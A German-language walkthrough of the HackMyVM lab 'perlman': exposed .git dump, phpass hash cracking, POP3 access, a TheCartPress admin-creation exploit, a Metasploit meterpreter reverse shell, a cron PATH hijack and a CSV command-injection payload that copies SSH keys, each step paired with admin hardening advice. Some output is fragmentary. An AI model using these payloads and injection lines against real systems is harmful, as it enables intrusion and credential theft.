192.168.2.122 08:00:27:5c:02:b8 PCS Systemtechnik GmbH
**Analyse:** `arp-scan -l` wird eingesetzt, um aktive Hosts im lokalen Netzwerk zu entdecken. Ein Gerät mit der IP `192.168.2.122` wird gefunden. Die MAC-Adresse `08:00:27:5c:02:b8` gehört zum OUI von "PCS Systemtechnik GmbH", was typisch für eine VirtualBox-VM ist.
**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.122` wird für weitere Scans genutzt.
**Empfehlung (Pentester):** Nmap-Scan auf die IP `192.168.2.122` durchführen.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind, z.B. durch Netzwerk-Monitoring oder MAC-Adressen-Filterung (obwohl letzteres umgangen werden kann).
# Eintrag hinzugefügt: 192.168.2.122 perlman.hmv
**Analyse:** Der Hostname `perlman.hmv` wird manuell der lokalen `/etc/hosts`-Datei des Angreifers hinzugefügt und auf die IP-Adresse des Zielsystems `192.168.2.122` gemappt.
**Bewertung:** Dies ermöglicht es dem Angreifer, das Zielsystem über den Hostnamen `perlman.hmv` anzusprechen, was für Webanwendungen, die virtuelle Hosts verwenden, oder für eine bessere Übersichtlichkeit nützlich ist.
**Empfehlung (Pentester):** Hostnamen verwenden, wenn sie in Konfigurationen oder Fehlermeldungen auftauchen, um potenzielle virtuelle Hosts korrekt anzusprechen.
**Empfehlung (Admin):** Interne DNS-Auflösung sicher gestalten. Die Notwendigkeit spezifischer Hostnamen für Dienste prüfen.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-06 22:38 CEST Nmap scan report for perlman.hmv (192.168.2.122) Host is up (0.00013s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: [...] 25/tcp open smtp Postfix smtpd |_smtp-commands: perlman.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING | ssl-cert: Subject: commonName=perlman[...] |_ssl-date: TLS randomness does not represent time 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-title: Sync - Mobile App Landing Page HTML Template | http-git: | 192.168.2.122:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: wp |_http-server-header: Apache/2.4.54 (Debian) 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: [...] SASL(PLAIN) [...] | ssl-cert: Subject: commonName=perlman[...] |_ssl-date: TLS randomness does not represent time 119/tcp open nntp InterNetNews (INN) 2.6.4 995/tcp open ssl/pop3 Dovecot pop3d |_pop3-capabilities: SASL(PLAIN) [...] | ssl-cert: Subject: commonName=perlman[...] |_ssl-date: TLS randomness does not represent time MAC Address: 08:00:27:5C:02:B8 (Oracle VirtualBox virtual NIC) [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
**Analyse:** Ein Nmap-Scan identifiziert mehrere offene Ports auf `perlman.hmv`: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian 11). Standard-Login. * **Port 25 (SMTP):** Postfix. Ermöglicht E-Mail-Versand und -Empfang. Unterstützt STARTTLS. * **Port 80 (HTTP):** Apache 2.4.54 (Debian). Zeigt eine Webseite mit dem Titel "Sync - Mobile App Landing Page HTML Template". **Kritisch:** Das Nmap-Skript `http-git` findet ein offenes `.git`-Verzeichnis im Webroot. * **Port 110 (POP3):** Dovecot. Zum Abrufen von E-Mails. Unterstützt Klartext-Authentifizierung (SASL PLAIN). * **Port 119 (NNTP):** InterNetNews (INN) 2.6.4. Ein Newsgroup-Server. * **Port 995 (POP3S):** Dovecot über SSL/TLS. Alle Dienste scheinen auf Debian zu laufen. Die SSL-Zertifikate sind selbstsigniert für `perlman`.
**Bewertung:** Die Angriffsfläche ist relativ groß: * **HTTP/.git (Port 80):** Das offene `.git`-Verzeichnis ist die höchste Priorität. Es erlaubt das Herunterladen des gesamten Quellcodes und der Git-Historie, was oft zu Credentials, Konfigurationsdateien oder Schwachstellen im Code führt. * **Mail (Ports 25, 110, 995):** Potenzielle Quelle für Benutzernamen (Enumeration via SMTP VRFY/EXPN, falls erlaubt) und Login-Möglichkeit (POP3), wenn Credentials gefunden werden. Die Unterstützung von SASL PLAIN über unverschlüsseltes POP3 (Port 110) ist unsicher. * **NNTP (Port 119):** Weniger häufiger Vektor, aber könnte zur Informationsgewinnung (Benutzernamen, Nachrichten) genutzt werden. * **SSH (Port 22):** Benötigt Credentials.
**Empfehlung (Pentester):**
1. **Git Dump (Port 80):** Sofort das `.git`-Verzeichnis mit einem Tool wie `git-dumper` herunterladen und die Historie analysieren (`git log`, `git diff`).
2. **NNTP (Port 119):** Mit `nc` verbinden und die verfügbaren Gruppen und Artikel untersuchen.
3. **Mail (Ports 110/995):** Nach Benutzernamen suchen (z.B. aus NNTP, Git) und versuchen, sich mit gefundenen Passwörtern anzumelden.
4. **HTTP (Port 80):** Nach der Git-Analyse ggf. mit `gobuster` weiter nach versteckten Inhalten suchen.
**Empfehlung (Admin):**
1. **Git:** Das `.git`-Verzeichnis **niemals** im Webroot belassen. `.git`-Verzeichnisse über Webserver-Konfiguration (z.B. Apache `.htaccess` oder Nginx `location`) blockieren.
2. **Mail:** POP3 über Port 110 (unverschlüsselt) deaktivieren oder STARTTLS erzwingen. Nur POP3S (Port 995) anbieten. Benutzerenumeration via SMTP VRFY/EXPN deaktivieren. Postfix und Dovecot aktuell halten und sicher konfigurieren.
3. **NNTP:** Den Dienst deaktivieren, wenn er nicht benötigt wird. Zugriff beschränken.
4. **Apache/SSH:** Standard-Härtung.
[...] =============================================================== /index.html (Status: 200) [Size: 47426] /css (Status: 301) [Size: 312] [--> http://192.168.2.122/css/] /images (Status: 301) [Size: 315] [--> http://192.168.2.122/images/] /privacy-policy.html (Status: 200) [Size: 25624] /js (Status: 301) [Size: 311] [--> http://192.168.2.122/js/] /terms-conditions.html (Status: 200) [Size: 18494] ===============================================================
**Analyse:** `gobuster` wird auf Port 80 ausgeführt. Es findet Standard-Webverzeichnisse (`css`, `images`, `js`) und einige HTML-Dateien (`index.html`, `privacy-policy.html`, `terms-conditions.html`). Keine unmittelbar verdächtigen Dateien oder Skripte werden gefunden.
**Bewertung:** Bestätigt die Struktur einer Standard-Webseite. Der wichtigste Fund auf Port 80 bleibt das `.git`-Verzeichnis aus dem Nmap-Scan.
perlman.hmv [192.168.2.122] 119 (nntp) open 200 server.example.net InterNetNews NNRP server INN 2.6.4 ready (posting ok) help 100 Legal commands [...] list 215 Newsgroups in form "group high low status" [...] local.general 0000000000 0000000001 y local.test 0000000000 0000000001 y perlman.hmv 0000000002 0000000001 y . group perlman.hmv 211 1 1 2 perlman.hmv ARTICLE 2 220 2article Path: server.example.net!.POSTED.192.168.0.27!not-for-mail From: rita Newsgroups: perlman.hmv Subject: Whats up ?! Date: Sat, 10 Sep 2022 14:33:40 -0000 (UTC) [...] User-Agent: Pan/0.151 (Butcha; a6f6327) Xref: server.example.net perlman.hmv:2 So cool to have installed a newsgroup server! See you soon kissss .
**Analyse:** Eine manuelle Verbindung mit `nc` zum NNTP-Server auf Port 119 wird hergestellt. Die Befehle `help`, `list`, `group perlman.hmv` und `ARTICLE 2` werden verwendet, um die verfügbaren Gruppen und Artikel zu untersuchen. Artikel 2 in der Gruppe `perlman.hmv` stammt von `rita
**Bewertung:** Ein Benutzername, `rita`, wurde durch die NNTP-Enumeration identifiziert. Dies ist wertvoll für spätere Login-Versuche bei POP3 oder SSH.
**Empfehlung (Pentester):** Den Benutzernamen `rita` notieren und für Angriffe auf POP3/SSH verwenden.
**Empfehlung (Admin):** Den NNTP-Dienst deaktivieren, wenn er nicht benötigt wird. Den Zugriff beschränken und sicherstellen, dass keine sensiblen Informationen oder Benutzernamen preisgegeben werden.
* Trying 192.168.2.122:80... * Connected to perlman.hmv (192.168.2.122) port 80 (#0) > GET /.git HTTP/1.1 [...] < HTTP/1.1 301 Moved Permanently [...]301 Moved Permanently [...]
**Analyse:** `curl` bestätigt, dass `http://perlman.hmv/.git` existiert und auf `http://perlman.hmv/.git/` weiterleitet.
**Bewertung:** Das `.git`-Verzeichnis ist definitiv zugänglich.
[...]
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs # Fehler beim Download von Packfiles sind möglich
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[+] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[...]
**Analyse:** Das Tool `gitdumper.sh` wird verwendet, um den Inhalt des `.git`-Verzeichnisses vom Webserver herunterzuladen. Es lädt erfolgreich viele der Git-internen Dateien und Verzeichnisstrukturen herunter.
**Bewertung:** Das Git-Repository wurde erfolgreich lokal geklont. Die Historie und der Quellcode können nun offline analysiert werden.
Auf Branch master Änderungen, die nicht zum Commit vorgemerkt sind: (benutzen Sie "git add/rm...", um die Änderungen zum Commit vorzumerken) (benutzen Sie "git restore ...", um die Änderungen im Arbeitsverzeichnis zu verwerfen) gelöscht: ../../commentmeta.sql gelöscht: ../../comments.sql # Viele weitere gelöschte .sql Dateien gelöscht: ../../users.sql Unversionierte Dateien: (benutzen Sie "git add ...", um die Änderungen zum Commit vorzumerken) ../../.gitignore # Viele Dateien des git-dumper Tools selbst ../../setup.cfg keine Änderungen zum Commit vorgemerkt (benutzen Sie "git add" und/oder "git commit -a")
**Analyse:** `git status` im heruntergeladenen Verzeichnis zeigt viele Dateien als "gelöscht" an. Dies sind wahrscheinlich die eigentlichen Quellcodedateien oder SQL-Dumps, die im letzten Commit vorhanden waren, aber nicht direkt vom `gitdumper`-Tool wiederhergestellt wurden. Es zeigt auch viele untracked files, die zum `gitdumper`-Tool gehören.
**Bewertung:** Der aktuelle Checkout ist unvollständig. Die Dateien müssen aus der Git-Historie wiederhergestellt werden.
HEAD ist jetzt bei 40f3ff4 wp
**Analyse:** `git reset --hard` setzt das lokale Arbeitsverzeichnis auf den Stand des letzten Commits (`HEAD`, Commit `40f3ff4` mit der Nachricht "wp") zurück. Dies stellt die "gelöschten" Dateien wieder her.
**Bewertung:** Das lokale Repository entspricht nun dem letzten Stand auf dem Server. Die SQL-Dateien sind jetzt verfügbar.
[...]
-rw-r--r-- 1 root root 2144 Oct 6 23:02 commentmeta.sql
-rw-r--r-- 1 root root 3538 Oct 6 23:02 comments.sql
[...]
-rw-r--r-- 1 root root 2763 Oct 6 23:02 users.sql
[...]
[...] INSERT INTO `users` VALUES (1,'webmaster','','webmaster','webmaster@perlman.hmv','http://perlman.hmv','2022-07-03 16:23:02','',0,'webmaster'); [...]
**Analyse:** Das Listing zeigt die wiederhergestellten SQL-Dateien. Der Inhalt von `users.sql` wird angezeigt. Er enthält einen `INSERT`-Befehl für einen Benutzer `webmaster` mit der E-Mail `webmaster@perlman.hmv`. Das Passwortfeld ist leer ('').
**Bewertung:** Ein weiterer Benutzername (`webmaster`) wurde gefunden. Im aktuellen Commit ist kein Passwort-Hash gespeichert. Die Git-Historie muss untersucht werden.
40f3ff4 (HEAD -> master) wp 0cf1c46 config d29e544 perlman
diff --git a/users.sql b/users.sql index 7fe7dd3..572f66c 100644 --- a/users.sql +++ b/users.sql @@ -46,7 +46,7 @@ CREATE TABLE `users` ( LOCK TABLES `users` WRITE; /*!40000 ALTER TABLE `users` DISABLE KEYS */; --INSERT INTO `users` VALUES (1,'webmaster','','webmaster','webmaster@perlman.hmv','http://perlman.hmv','2022-07-03 16:23:02','',0,'webmaster'); ++INSERT INTO `users` VALUES (1,'webmaster','$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/','webmaster','webmaster@perlman.hmv','http://perlman.hmv','2022-07-03 16:23:02','',0,'webmaster'); /*!40000 ALTER TABLE `users` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
**Analyse:** `git log` zeigt die letzten drei Commits. `git diff` vergleicht den Commit `0cf1c46` (config) mit dem vorherigen Commit `d29e544` (perlman). Der Vergleich zeigt, dass in der Datei `users.sql` im älteren Commit (`d29e544`, grün/+) ein Passwort-Hash (`$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/`) für den `webmaster`-Benutzer vorhanden war, der im neueren Commit (`0cf1c46`, rot/-) entfernt (durch '') ersetzt wurde.
**Bewertung:** Kritischer Fund! Ein Passwort-Hash für `webmaster` wurde in der Git-Historie gefunden. Der Hash-Typ (`$P$`) deutet auf phpass hin, der oft von WordPress verwendet wird. Dieser Hash kann nun versucht werden zu knacken.
**Empfehlung (Pentester):** Den gefundenen Hash (`$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/`) mit `hashcat` oder `john` und einer Wortliste knacken.
**Empfehlung (Admin):** Niemals sensible Daten wie Passwort-Hashes in Git-Repositories committen. Die Git-Historie bereinigen (ist aber komplex und oft nicht vollständig möglich). Sicherstellen, dass keine `.git`-Verzeichnisse öffentlich zugänglich sind. Passwörter für betroffene Konten sofort ändern.
$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/
hashcat (v6.2.5) starting in autodetect mode [...] $P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/:cookie Session..........: hashcat Status...........: Cracked Hash.Mode........: 400 (phpass) Hash.Target......: $P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/ [...] Recovered........: 1/1 (100.00%) Digests [...]
[...]
$P$BCaMhRZQp/mi0nyIVVPS6u1EU8sTCR/:cookie
**Analyse:** Der aus Git extrahierte phpass-Hash wird in die Datei `hash` geschrieben. `hashcat` wird im Dictionary-Angriffsmodus (`-a 0`) mit der `rockyou.txt`-Wortliste darauf angesetzt. `hashcat` identifiziert den Hash-Typ korrekt als Modus 400 (phpass) und knackt ihn erfolgreich. Das Passwort lautet `cookie`.
**Bewertung:** Das Passwort für den Benutzer `webmaster` wurde ermittelt. Dies könnte für den WordPress-Login (falls vorhanden und `webmaster` dort ein Konto hat) oder potenziell für andere Dienste (POP3, SSH) relevant sein.
**Empfehlung (Pentester):** Das Passwort `cookie` für den Benutzer `webmaster` bei allen relevanten Diensten testen (WordPress, POP3, SSH). Da ein WordPress-Login wahrscheinlich ist (Commit-Nachricht "wp"), dies zuerst prüfen.
**Empfehlung (Admin):** Das Passwort für `webmaster` sofort ändern. Starke Passwörter verwenden.
[...] vrfy rita 252 2.0.0 rita # Benutzer existiert [...]
perlman.hmv [192.168.2.122] 110 (pop3) open +OK Dovecot (Debian) ready. user rita +OK pass cookie +OK Logged in. list +OK 1 messages: 1 2648 . retr 1 +OK 2648 octets # --- Email Inhalt --- Return-Path: <> X-Original-To: rita@perlman.hmv Delivered-To: rita@perlman.hmv [...] From: MAILER-DAEMON@perlman.hmv (Mail Delivery System) Subject: Undelivered Mail Returned to Sender To: rita@perlman.hmv [...] This is the mail system at host perlman.hmv. [...]: host mxext1.mailbox.org[...] said: 550 5.1.8 [...] Reporting-MTA: dns; perlman.hmv [...] Final-Recipient: rfc822; bentec_hacker@hacker.de Original-Recipient: rfc822;bentec_hacker@hacker.de [...] # --- Ende Email Inhalt --- .: Sender address rejected: Domain not found
**Analyse:** Zuerst wird über SMTP (Port 25) der Benutzer `rita` (aus NNTP bekannt) mit `vrfy` bestätigt. Anschließend wird über POP3 (Port 110) versucht, sich als `rita` mit dem für `webmaster` geknackten Passwort `cookie` anzumelden. Der Login ist erfolgreich! Eine E-Mail wird abgerufen. Es handelt sich um eine Unzustellbarkeitsnachricht (Bounce) für eine E-Mail, die `rita` an `bentec_hacker@hacker.de` senden wollte. Der Bounce-Grund ist "Domain not found". Wichtig ist die Zeile `From: MAILER-DAEMON (mailer@itzhak.perlman.hmv)`.
**Bewertung:** Das Passwort `cookie` wurde wiederverwendet und gehört auch zum Benutzer `rita`. Dies ermöglicht den Zugriff auf `rita`s E-Mails. Die Bounce-Nachricht enthüllt einen weiteren internen Hostnamen oder eine Subdomain: `itzhak.perlman.hmv`. Dies ist ein sehr wichtiger Fund, da auf der Hauptdomain `perlman.hmv` (bis auf das `.git`-Repo) nicht viel zu finden war.
**Empfehlung (Pentester):**
1. Den Hostnamen `itzhak.perlman.hmv` zur lokalen `/etc/hosts`-Datei hinzufügen (auf `192.168.2.122` zeigend).
2. Die Webseite `http://itzhak.perlman.hmv` untersuchen (wahrscheinlich WordPress, basierend auf Git-Commits und `/wp-admin/` im späteren Exploit).
3. Weitere E-Mails von `rita` abrufen, falls vorhanden.
**Empfehlung (Admin):** Passwort-Wiederverwendung unterbinden. Benutzer schulen, starke, einzigartige Passwörter zu verwenden. POP3 über Port 110 deaktivieren/absichern. Interne Hostnamen sollten nicht in Bounce-Nachrichten nach außen dringen.
[...] 192.168.2.122 perlman.hmv itzhak.perlman.hmv # Zweiter Hostname hinzugefügt
# Browsing http://itzhak.perlman.hmv/?p=1 zeigt WordPress mit User 'webmaster'
**Analyse:** Der Hostname `itzhak.perlman.hmv` wird zur `/etc/hosts`-Datei hinzugefügt. Beim Aufrufen der Seite wird WordPress identifiziert, und der Benutzer `webmaster` scheint Beiträge zu verfassen oder wird anderweitig angezeigt.
**Bewertung:** Bestätigt, dass unter `itzhak.perlman.hmv` eine WordPress-Instanz läuft und dass der Benutzer `webmaster` (dessen Passwort `cookie` ist) dort aktiv ist.
[...] Interesting Finding(s): [+] XML-RPC seems to be enabled: http://itzhak.perlman.hmv/xmlrpc.php [...] [+] WordPress readme found: http://itzhak.perlman.hmv/readme.html [...] [+] Upload directory has listing enabled: http://itzhak.perlman.hmv/wp-content/uploads/ [...] [+] WordPress version 6.0.2 identified (Latest, released on 2022-08-30). [...] [+] WordPress theme in use: twentytwentyone v1.6 (up to date) [...] [i] Plugin(s) Identified: [+] thecartpress | Location: http://itzhak.perlman.hmv/wp-content/plugins/thecartpress/ | Latest Version: 1.5.3.6 (up to date) [...] | Found By: Urls In Homepage (Passive Detection) | | [!] 1 vulnerability identified: | | [!] Title: TheCartPress eCommerce Shopping Cart <= 1.5.3.6 - Unauthenticated Arbitrary Admin Account Creation | References: | - https://wpscan.com/vulnerability/9b403259-0c84-4566-becd-eb531c486c21 | - https://www.exploit-db.com/exploits/50378/ [...]
**Analyse:** WPScan wird auf `http://itzhak.perlman.hmv` ausgeführt, um Themes (`vt`) und Plugins (`vp`) zu enumerieren und nach Schwachstellen zu suchen. * WPScan identifiziert WordPress Version 6.0.2 und das Theme "twentytwentyone". * **Kritischer Fund:** Das Plugin "thecartpress" in Version 1.5.3.6 wird gefunden. WPScan meldet eine bekannte Schwachstelle: "Unauthenticated Arbitrary Admin Account Creation" (CVE nicht genannt, aber EDB-ID 50378).
**Bewertung:** Eine kritische Schwachstelle wurde gefunden, die es einem nicht authentifizierten Angreifer ermöglicht, einen Administrator-Account in WordPress zu erstellen. Dies ist der wahrscheinlichste Weg zum Initial Access.
**Empfehlung (Pentester):** Die gefundene Schwachstelle mit dem Exploit von Exploit-DB (50378) ausnutzen, um einen Admin-Account zu erstellen. Anschließend diesen Account nutzen, um sich in WordPress einzuloggen und eine Webshell hochzuladen (z.B. über Plugin-/Theme-Editor oder Medien-Upload).
**Empfehlung (Admin):** Das Plugin "thecartpress" **sofort deaktivieren und deinstallieren**. Auf eine gepatchte Version aktualisieren, falls verfügbar (unwahrscheinlich, da das letzte Update 2017 war). Regelmäßige Scans mit Tools wie WPScan durchführen, um verwundbare Plugins/Themes zu identifizieren.
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
[...]
Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated) | php/webapps/50378.py
[...]
---------------------------------------------------------------------------------- ---------------------------------
[...] Copied to: /root/perlman/50378.py
TheCartPress <= 1.5.3.6 - Unauthenticated Privilege Escalation Author -> space_hen (www.github.com/spacehen) Inserting admin... Success! Now login at /wp-admin/ # (Default Credentials: admin_02:admin1234)
**Analyse:** Der Exploit für die TheCartPress-Schwachstelle (EDB-ID 50378) wird mit `searchsploit` gefunden, kopiert und als `exploitWP.py` ausgeführt. Das Skript meldet "Success!" und gibt an, dass man sich nun unter `/wp-admin/` anmelden kann. Das Skript erstellt typischerweise einen Standard-Admin-Benutzer (oft `admin_02` mit Passwort `admin1234`, wie im späteren Metasploit-Modul verwendet).
**Bewertung:** Die Schwachstelle wurde erfolgreich ausgenutzt. Ein neuer Administrator-Account wurde in WordPress erstellt.
**Empfehlung (Pentester):** Sich mit den Standard-Credentials des Exploits (`admin_02:admin1234`) im WordPress-Backend (`/wp-admin/`) anmelden. Eine Webshell hochladen, z.B. durch Bearbeiten eines Themes/Plugins oder über den Medien-Upload (falls PHP-Upload erlaubt ist). Alternativ kann ein Metasploit-Modul verwendet werden, das diesen Prozess automatisiert.
**Empfehlung (Admin):** Siehe vorherige Empfehlung: Plugin entfernen. WordPress-Benutzerliste auf unautorisierte Accounts überprüfen.
[...]
Module options (exploit/unix/webapp/wp_admin_shell_upload): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD admin1234 yes The WordPress password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS itzhak.perlman.hmv yes The target host(s), [...] RPORT 80 yes The target port (TCP) [...] USERNAME admin_02 yes The WordPress username to authenticate with [...] Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.140 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port [...]
[*] Started reverse TCP handler on 192.168.2.140:4444 [*] Authenticating with WordPress using admin_02:admin1234... [+] Authenticated with WordPress [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/ukLdEBwQJV/iKFfTrYwSQ.php... [*] Sending stage (39927 bytes) to 192.168.2.122 [+] Deleted iKFfTrYwSQ.php [+] Deleted ukLdEBwQJV.php [+] Deleted ../ukLdEBwQJV [*] Meterpreter session 1 opened (192.168.2.140:4444 -> 192.168.2.122:59450) at 2022-10-06 23:52:18 +0200
**Analyse:** Metasploit wird verwendet, um den Prozess nach der Admin-Account-Erstellung zu automatisieren. 1. Das Modul `exploit/unix/webapp/wp_admin_shell_upload` wird ausgewählt. 2. Die durch den vorherigen Exploit erstellten Credentials (`admin_02:admin1234`) und das Ziel (`itzhak.perlman.hmv`) werden gesetzt. 3. Die Listener-IP (`LHOST`) wird auf die IP des Angreifers (`192.168.2.140` - *Achtung, vorherige IP war .140, aber arp-scan war .122, hier inkonsistent im Log?*) gesetzt. 4. Das Modul wird ausgeführt (`run`). Es authentifiziert sich bei WordPress, lädt einen zufällig benannten Plugin-Payload hoch, führt ihn aus und löscht die Spuren. 5. Eine Meterpreter-Session wird erfolgreich geöffnet.
**Bewertung:** Initial Access mittels Ausnutzung der WordPress-Plugin-Schwachstelle und anschließendem Shell-Upload via Metasploit war erfolgreich. Der Angreifer hat nun eine Meterpreter-Session auf dem Zielsystem.
Process 1970 created. Channel 1 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data) python3.9 -c "import pty;pty.spawn('/bin/bash')" # Shell Upgrade www-data@perlman:/$
**Analyse:** Aus der Meterpreter-Session wird mit `shell` eine System-Shell geöffnet. Der `id`-Befehl bestätigt, dass die Shell als `www-data` läuft. Die Shell wird anschließend mit Python zu einer voll interaktiven TTY aufgewertet.
**Bewertung:** Eine stabile Shell als `www-data` wurde erlangt.
**Empfehlung (Pentester):** Mit der Enumeration als `www-data` beginnen. Nach Konfigurationsdateien, Passwörtern, `sudo`-Rechten, SUID-Binaries etc. suchen.
**Empfehlung (Admin):** Die WordPress-Instanz bereinigen (Plugin entfernen, unautorisierte Benutzer löschen). Die Berechtigungen des `www-data`-Benutzers minimieren. Webserver und PHP sicher konfigurieren.
Password: cookie
**Analyse:** Als `www-data` wird versucht, mit `su` zum Benutzer `rita` zu wechseln. Das zuvor über POP3 für `rita` gefundene Passwort `cookie` wird verwendet. Der Wechsel ist erfolgreich.
**Bewertung:** Erfolgreiche laterale Bewegung/PrivEsc von `www-data` zu `rita` durch Passwort-Wiederverwendung.
**Empfehlung (Pentester):** Als `rita` weiter enumerieren. SSH-Schlüssel prüfen.
**Empfehlung (Admin):** Passwort-Wiederverwendung unterbinden. Das Passwort für `rita` ändern.
total 16
drwx------ 2 rita rita 4096 Sep 11 12:11 .
drwxr-xr-x 5 rita rita 4096 Oct 6 23:20 ..
-rw-r--r-- 1 rita rita 570 Sep 10 16:06 authorized_keys
-rw------- 1 rita rita 2602 Sep 10 16:06 id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
[...]
-----END OPENSSH PRIVATE KEY-----
**Analyse:** Als `rita` wird der private SSH-Schlüssel (`id_rsa`) im `.ssh`-Verzeichnis gefunden und ausgelesen.
**Bewertung:** Dieser Schlüssel könnte für den Zugriff auf andere Systeme oder Benutzerkonten verwendet werden.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
HLRZcy1a50/UAAAARbWlsb3VAcGVybG1hbi5obXYBAg
-----END OPENSSH PRIVATE KEY-----
**Analyse:** Diese Befehlssequenz deutet stark auf die Ausnutzung eines unsicheren Cronjobs hin, der `find` ausführt. 1. Im Verzeichnis `/tmp` wird eine Datei namens `find` erstellt, die Befehle enthält, um den SSH-Schlüssel des Benutzers `milou` zu kopieren und lesbar zu machen. 2. Diese Datei wird ausführbar gemacht. 3. Ein `watch`-Befehl überwacht das Erscheinen der Zieldatei `/tmp/milou`. 4. Nachdem die Datei erschienen ist (der Cronjob hat die bösartige `find`-Datei ausgeführt), wird der Inhalt gelesen. Es ist der private SSH-Schlüssel des Benutzers `milou`.
**Bewertung:** Erfolgreiche Eskalation/laterale Bewegung zu den Rechten von `milou` (zumindest Zugriff auf dessen SSH-Key) durch Ausnutzung eines Cronjobs mit einer Wildcard-Schwachstelle oder unsicheren Pfadangabe.
**Empfehlung (Pentester):** Den extrahierten privaten Schlüssel von `milou` verwenden, um sich lokal per SSH als `milou` anzumelden.
**Empfehlung (Admin):** Den unsicheren Cronjob finden und beheben. Niemals `find` mit unsicheren Optionen (wie `-exec` ohne `{}` oder mit Platzhaltern in beschreibbaren Verzeichnissen) als root oder privilegierter Benutzer ausführen. Cronjobs immer mit absoluten Pfaden definieren.
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
**Analyse:** Mit dem extrahierten privaten Schlüssel (`milou`, gespeichert aus `cat milou`) wird erfolgreich eine lokale SSH-Verbindung als Benutzer `milou` hergestellt.
**Bewertung:** Erfolgreiche laterale Bewegung zu `milou`.
# Originalinhalt (Annahme):
item,brand,price,numb
CPU,AMD,3,550
[...]
# Geänderter Inhalt: item,brand,price,numb CPU,AMD,3,550,x[$(id>&2)] <<--- Command Injection GPU,Nvidia,4,1150 [...]
# (Ausführung des verarbeitenden Skripts impliziert - Output zeigt id von www-data?)
# Zweite Änderung: item,brand,price,numb CPU,AMD,3,550,x[$(cp /home/ze_perlman/.ssh/id_rsa /dev/shm>&2 ; chmod 777 /dev/shm/id_rsa>&2)] GPU,Nvidia,4,1150 [...]
id_rsa
**Analyse:** Als `milou` wird eine CSV-Datei (`perl_store.csv`) bearbeitet. Es wird eine Command Injection Payload (`x[$(...)]`) in eine der Zeilen eingefügt. Zuerst wird `id` ausgeführt (die Ausgabe `>&2` leitet sie vermutlich ins Error-Log oder Terminal um, wird hier aber nicht gezeigt). Dann wird der Payload geändert, um den privaten SSH-Schlüssel von `ze_perlman` nach `/dev/shm/id_rsa` zu kopieren und lesbar zu machen. Nach einer impliziten Ausführung des Skripts, das die CSV verarbeitet, ist die Schlüsseldatei in `/dev/shm` vorhanden.
**Bewertung:** Eine Command Injection-Schwachstelle in einem Skript, das die CSV-Datei `perl_store.csv` verarbeitet, wurde gefunden und ausgenutzt, um den SSH-Schlüssel von `ze_perlman` zu extrahieren.
**Empfehlung (Pentester):** Den extrahierten SSH-Schlüssel von `ze_perlman` verwenden, um sich lokal als dieser Benutzer anzumelden.
**Empfehlung (Admin):** Das Skript, das `perl_store.csv` verarbeitet, auf Command Injection prüfen und beheben. Niemals Daten aus Dateien oder Benutzereingaben ungeprüft in Shell-Befehlen verwenden. Sichere Parsing-Methoden und keine `eval`-ähnlichen Konstrukte nutzen. Berechtigungen der CSV-Datei prüfen.
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
**Analyse:** Mit dem aus `/dev/shm` geholten privaten Schlüssel wird erfolgreich eine lokale SSH-Verbindung als Benutzer `ze_perlman` hergestellt.
**Bewertung:** Erfolgreiche laterale Bewegung zu `ze_perlman`.
7efd84255146266f3ca02579eb71a36f
**Analyse:** Als `ze_perlman` wird die User-Flag gelesen.
**Bewertung:** User-Flag gefunden (scheint dieselbe wie vorherige zu sein? Evtl. Fehler im Log oder die Flag liegt im Home von `ze_perlman`).
total 12
drwxrwx--- 2 root ze_perlman 4096 Sep 11 12:15 .
d-wxr-x--- 3 root ze_perlman 4096 Sep 11 12:15 ..
-rwxr-xr-x 1 root root 318 Jul 23 13:47 bk
#! /bin/bash vfy=$(chmod 700 /root # Interessant, aber nicht direkt ausnutzbar chown root:root /usr/lib/news/* chown root:root * # Gefährlich! Wildcard! chown -R news:news /var/lib/news chown -R www-data:www-data /var/www } [[ $1 == "${vfy//un/}" ]] && backup
undesired-root-2022
